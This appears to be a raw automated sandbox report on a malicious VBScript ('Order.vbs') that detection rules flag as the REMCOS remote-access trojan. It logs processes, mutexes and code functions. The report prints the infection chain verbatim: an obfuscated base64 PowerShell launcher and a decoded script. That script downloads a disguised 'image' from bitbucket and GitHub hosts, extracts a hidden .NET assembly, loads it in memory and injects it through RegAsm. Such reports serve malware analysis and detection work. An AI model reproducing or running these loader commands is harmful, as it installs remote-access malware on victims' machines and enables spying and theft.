#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040F4A7	8_2_0040F4A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00417621	8_2_00417621
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041606A	8_2_0041606A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042E240	8_2_0042E240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0043120A	8_2_0043120A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042B2F1	8_2_0042B2F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004304C1	8_2_004304C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041F4D3	8_2_0041F4D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0044B4B0	8_2_0044B4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0044553C	8_2_0044553C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0043163F	8_2_0043163F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004476F8	8_2_004476F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0043B690	8_2_0043B690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042D79B	8_2_0042D79B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0043680C	8_2_0043680C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040D9A0	8_2_0040D9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004309BD	8_2_004309BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00436A3B	8_2_00436A3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041FB71	8_2_0041FB71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00445C59	8_2_00445C59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041FCB4	8_2_0041FCB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00430DD5	8_2_00430DD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041EFDC	8_2_0041EFDC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0042BE7E appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0042C720 appears 50 times

Source: Order.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4528
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4528			Jump to behavior

Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000008.00000002.3506159201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: Process Memory Space: powershell.exe PID: 1880, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1812, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.expl.evad.winVBS@10/13@4/6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00410D25 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

8_2_00410D25

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_0040A7FF CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

8_2_0040A7FF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00413B85 FindResourceA,LoadResource,LockResource,SizeofResource,

8_2_00413B85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00413168 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

8_2_00413168

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5644:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-MBKA6A
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oiyygwzw.jro.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Order.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: Order.vbs

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Order.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.drmmpgk/niam/sdaeh/sfer/bpayks/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; 